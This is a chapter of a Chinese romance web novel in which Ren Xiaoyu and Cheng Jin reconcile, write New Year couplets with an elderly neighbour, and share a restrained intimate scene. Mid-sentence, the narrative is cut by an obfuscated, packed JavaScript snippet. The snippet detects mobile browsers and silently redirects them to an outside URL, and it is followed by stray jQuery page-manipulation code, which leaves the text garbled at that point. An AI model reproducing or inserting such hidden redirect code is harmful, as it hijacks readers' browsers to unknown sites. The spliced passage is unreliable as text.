一旦说开了，有些东西就没了。
比如拧巴、滞闷，进退维谷的心思。
任恔妤贴靠在他的怀里，哪怕隔着衣服也能感受到男人胸膛的结实度，还有平稳跳动的心脏。
隔着衣料也在震颤她。
下雪天的天空可见度不高。
楼道一面小窗户，透进来的光阴沉沉的。
还能听到外面呼啸的风声。
她伸出一只手戳了戳他右侧腰腹，“程烬，我冷。”
过了一秒，程烬扣着她后颈的手收了回来，握住她腕骨，手指往下抚了抚。
手心和指尖都很凉。
他低声：“进屋。”
说着又怕她不知道情况，在去开蔡奶奶家门之前道：“这是我对面的邻居奶奶，人很好。”
任恔妤当然知道。
很热心的老太太嘛。
但她现在不想回去。
“我想和你再待一会儿。”她眼睛水汪汪的，有着哭过后的莹润惹人，声音带着她自己都没察觉到的娇意。
可能是真的打算接纳他，也或许是说清楚了，她莫名粘人。
程烬收回了要去开门的手。
神色平静地去解大衣扣子。
任恔妤知道，他这是妥协了。
有丝丝缕缕的甜蔓延上来。
他指骨修长分明，冷白的皮肤下，是青色血管，像一块有纹路的美玉。一个简单的解开扣子动作竟也做得这么色气。
配上这张清冷绝尘的脸，谁受得住诱惑。
大衣扣子解开，程烬握住她纤细的腕骨，将她发凉的手搭在自己腰上。那块暖融融的，任恔妤没忍住伸手掐了掐。
嘶。
好结实的手感。
程烬低垂的眼睫微动。
在他开口之前，任恔妤已经圈住了他腰身，脸颊侧贴着他胸口。
和刚刚被他带进怀里不同。
有种很可靠、很有荷尔蒙的感觉。
程烬漆黑的眼瞳低着，落在她松软的发顶上。
许久。
他很轻地扶住她的后脑，喉结滚动着，落下炙热而克制的一吻。
*
任恔妤跟蔡奶奶几个来回已经混得很熟，程烬脱了大衣要去厨房帮忙也被赶出来，蔡奶奶故作不高兴：“说了要给小妤露两手就要露，你要是拦着我，我明儿就上居委会哭去。”
程烬无奈，只好从厨房里出来。
她幸灾乐祸地看热闹，悄咪咪说：“没想到奶奶治起你来也是毫不手软嘛。”
程烬看她一眼，捏了捏她手心。
再过两天就是除夕。
程烬轻车熟路地从电视机下面的柜子里拿出红纸和笔墨，依次摊在客厅的桌子上。随后挽起一边袖口，动作漫不经心的，露出结实精壮的小臂。
任恔妤看得有点痴，好一会儿才问：“这是干什么？”
“写春联。”
程烬低眸研磨，“老一辈人喜欢手写。”
任恔妤懒懒倚在桌边。
她知道程烬字好看，但不知道他写起毛笔字来也这么漂亮，笔走龙蛇、狂放不羁……就是她看不懂。
但不妨碍她欣赏程烬。
低垂的黑睫，幽沉的瞳孔，还有薄而有型的唇……
怎么会有这么好看的人。
做什么都赏心悦目。
不怪她惦记这么久。
任恔妤看得出神，和程烬视线蓦地对上的刹那，她有些耳红，下意识干咳了一声。
“要试试吗？”
程烬嗓音温磁。
“啊……”她愣了下，“可以吗？但是我不会写毛笔字……”
任恔妤是个很好新鲜的人，确实有些蠢蠢欲动，但没这个本领。
程烬把毛笔搁下，“过来。”
她乖乖地照做。
很快，身后有清冽的气息笼罩而来，她被程烬圈在了方寸之间，身前是桌子，身后就是他。
不是没有过这么亲密的时刻，但不知道是不是因为前面就是厨房，蔡奶奶就在那，她心跳有点快。
竟有点怕被抓包的紧张和羞涩。
程烬把毛笔放进她手里，修长的手指握住她的。
任恔妤能感受到他掌心里的温热。
她感觉手臂的力气像是一下子被抽走了，被他带着走。
根本不知道自己在写什么。
“专心点。”
耳畔忽然传来低哑的声音，任恔妤手一抖，笔下的字多了一点。她有点尴尬转头，“我还是不写了吧，没这个天赋……”
对着程烬漆黑如墨的眼眸，她心脏狂跳。
呼吸里掺杂着他的。
她目光缓缓落到他唇上。
有点心痒。
厨房里忽的传来一道碗碟碰撞声，一下子惊醒了任恔妤。
她晃过神，暗骂了自己一声。
现在起色心竟然都不分场合了吗！
一个闪身，任恔妤从他怀里钻出去。
“我……去下卫生间……”
*
吃晚饭的时候，蔡奶奶一直不停地给任恔妤夹菜。
恍惚中，她仿佛看到了过世的外婆。
这样简单而温馨的场面，自外婆走后她已经很多年没有感受到了。
鼻子忽然有点酸。
小老太喜欢絮絮叨叨的说话，任恔妤很快就被拉出来。
听她说程烬的过去。
“有一回家里的灯泡坏了，小程一定要过来给我修，我拗不过他，结果不知道怎么的，忽然就听到‘砰’的一声，给我吓坏了。我过去一看，他手心里乌漆嘛黑的，是根线被扯断炸了，看到我他还一脸懵，就像这样——”
小老太夸张地做出个懵逼表情，逗得任恔妤咯咯直笑。
“这傻孩子，自己都被吓着了还不吭声……”
程烬在一旁很规矩很斯文地吃着饭，看她笑得眼泪都要出来，眼底一片无奈。
“你真被吓着了？”
她忍不住求证。
程烬看着她水盈盈的眸子，低低“嗯”了一声。
果不其然，她笑得更大声了，还一边感叹，“没想到你也有被吓到的时候，好可惜没能亲眼看到……不然我一定狠狠笑话你！”
说着，又跟蔡奶奶你一句我一句地聊起来。
程烬安安静静听着。
那些掩埋多年的沉疴暗疾终于有了疗愈的可能，能够一点一点暴露在阳光下。
晚饭结束后，两个人没在蔡奶奶家里多待。
回了对面属于程烬的家。
他很少打开过这扇门，很多时候是看完蔡奶奶就会走。
门吱吱呀呀地推开，任恔妤闻到家具久未透风的霉味，下意识在鼻子前挥了挥手。
程烬步子一顿，“附近有酒店——”
“不用。”
任恔妤迅速打断，很快觉得自己反应太大，“……我明天还想吃蔡奶奶包的汤圆，去酒店肯定赶不上。”
其实她就是有点儿不舍得走，想跟他多待一会儿。
果然恋爱会分泌激素，风水轮流转啊，现在轮到她想要粘着他了。
程烬没拆穿她。
给客厅的窗户都打开通风。
他家里还是跟从前高中时候来一样，家徒四壁的，没一处像样的装潢。
任恔妤没挑剔。
因为没带换洗衣服，问他临时拿了件衬衣穿着。
屋子里开了地暖。
任恔妤从卫生间里出来的时候只觉得暖洋洋的，光在外面的双腿都不觉得冷了。但这衬衫实在是不够长，仅仅盖住屁股。
她要是动作幅度稍微大点，估计就要走光。
程烬坐在沙发上，笔记本开着，还在处理工作上的事，听见她脚步声，回头看了一眼。
皙白细直的双腿，十分匀称。
衬衫盖在大腿根边上。
只一秒，他就收回了眼神。
瞳孔晦涩。
任恔妤有点尴尬地把衬衫往下拽了拽，拿了个小毯子走过去，一坐下就盖在了身上。
“那个……
“还有几天就过年了，我能不能在这儿过？”
虽然很不矜持
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261247|181621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，可他们现在也算是情侣了，这个要求不过分吧？
程烬落在键盘上的手指很轻微地顿了下，面色不变地继续敲，“嗯。”
任恔妤：？
又是嗯……
她有点不满，“程烬，我在你旁边，你还要工作吗？马上都要过年了，你让工作陪你过年好了，我马上就回京海。”
说着就做出要走的样子。
腕骨被忽地扣住。
程烬单手合了笔记本，摘下眼镜。
低敛的眉骨下，深邃的眼睛看向她。
气氛莫名安静起来。
任恔妤能听见自己的呼吸声。
他现在这样一动不动看着她，真的好像野狼看兔子的眼神……
怎么感觉她下一秒就要被吃了……
“程烬，你干嘛这么——”
她话还没说完，腕骨上突来一阵力道，整个人被他拉进怀里。
不。
应该说是跌进去的。
程烬的双腿很有力量。
任恔妤侧坐在上面很稳当，但一只手还是压在了他宽厚的肩膀上。
下一秒。
一只略带薄茧的手扣住了她后颈，温热的指腹摩挲着，传来一阵阵痒意。
“任恔妤。”
他嗓音很低，带着点沙感。
程烬的脸近在眼前。
近得她能看到那双漆黑眼瞳里自己的脸。
“怎么了……”
任恔妤声音也跟着低下去，心脏却在胸腔里不规律地跳起来，撑在沙发上的手已经发软。
程烬没有回答她。
沉压渴望许久的吻落下来，带着清冽的气息，像窗外飞散的雪。
她莹润的眼眸眨了眨。
“闭眼。”
程烬喉结滚动，声音嘶哑。
任恔妤感觉到脸颊被指腹蹭过，清浅的吻逐渐汹涌，像脱缰的野马。程烬撬开她唇舌，猛烈的与她纠缠在一起。
她只穿着一件衬衫，很薄。
程烬手掌滚烫，抚在她脊背上，像着了火一般。
逐渐急促的呼吸、激烈的吻声。
任恔妤觉得口里的氧气都要被夺取干净了，几乎要窒息。
但在窒息前一刻，程烬已经不受控制地撩起了她衬衫衣角。
肌肤相触的瞬间，她战栗了一下。
“程……程烬……”
任恔妤握住他的小臂，挡了挡。声音细细碎碎，气息里透着嘤咛。
清醒状态下，她还没完全做好和程烬进行到最后一步的准备。
至少现在还没有。
他们才刚刚和好……
有点太快了。
程烬眸色沉了下去，艰涩地停住动作。
他下巴搁在她肩膀上，耳朵被他激烈的气息弄得很痒，她缩了缩脖子，想要往后退开一点。
“别动。”
程烬喉咙很干很涩。
就这么抱着她。
几乎是同一时刻，任恔妤感受到了一抹坚硬。
她后背微微一僵。
气氛安静了许久。
任恔妤觉得自己这样挺不道德，又要撩又不给，搭在他肩上的手很轻地压了压，“最后一次……下次不会再有这种情况了。”
她声音带着被吻过度得娇意，软绵绵的。
听得人心都化了。
“嗯。”
“……”
任恔妤细眉蹙起，不满地嘀咕：“你能不能说点正常的话，天天就知道嗯，你是什么品种的动物吗？”
程烬从她耳旁退开。
幽沉的黑眸凝着她，像是要将她吞没。
“你不用做什么保证，我不会逼你。”
“直到你愿意。”
任恔妤看着他清瘦的脸，还有克制到起青筋的额角，心脏被什么刺了一下。
她鼻子有点酸，“程烬——”
“你真是个傻子。”
是啊。
不傻怎么会被她予取予求，召之即来挥之即去，却仍爱她如命，贪恋渴慕她指缝中漏出的一点温暖。